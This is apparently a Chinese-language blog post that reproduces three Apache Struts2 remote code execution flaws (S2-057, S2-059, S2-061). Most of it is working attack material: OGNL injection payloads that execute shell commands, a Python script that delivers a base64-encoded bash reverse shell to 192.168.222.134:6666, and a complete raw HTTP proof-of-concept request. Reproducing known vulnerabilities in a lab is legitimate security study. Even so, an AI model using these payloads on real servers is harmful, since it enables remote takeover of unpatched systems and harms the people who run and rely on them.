Struts2 远程代码执行漏洞复现（附Struts2漏洞检测工具）

article/2025/9/23 7:46:00

0x00 Struts2 简介

Struts2 是 Apache 软件组织推出的一个相当强大的 Java Web 开源框架，本质上相当于一个 servlet。Struts2 基于 MVC 架构，框架结构清晰。通常作为控制器（Controller）来建立模型与视图的数据交互，用于创建企业级 Java web 应用程序。该框架多版本存在远程代码执行，

0x01 Struts2 (CVE-2018-11776)

Struts2 S2-057

payload：/struts2-showcase/$%7B233*233%7D/actionChain1.action

验证漏洞存在：

paylaod：ls：查看目录下文件，paylaod需要进行url编码
${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

0x02 Struts2 (CVE-2019-0230)

Struts2 S2-059

漏洞验证paylaod：/?id=%25{2*5}

反弹shell：paylaod：使用python3环境，运行前查看环境执行是否正常

反弹paylaod：bash -i >& /dev/tcp/192.168.222.134/6666 0>&1
需要base64加密放入下paylaod
import requests
url = "http://192.168.222.134:8080"
data1 = {"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyMi4xMzQvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}'))}"
}
res1 = requests.post(url, data=data1)
res2 = requests.post(url, data=data2)
print(123)

执行脚本

shell接收成功：

0x03 Struts2 (CVE-2020-17530)

Struts2 S2-061

POC：post请求：
POST / HTTP/1.1
Host: 192.168.222.134:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=node016yd6hhrzkka19x0sws5e7i9g1.node0
If-None-Match: W/"187-1504645830000"
If-Modified-Since: Tue, 05 Sep 2017 21:10:30 GMT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Connection: close
Content-Length: 829------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--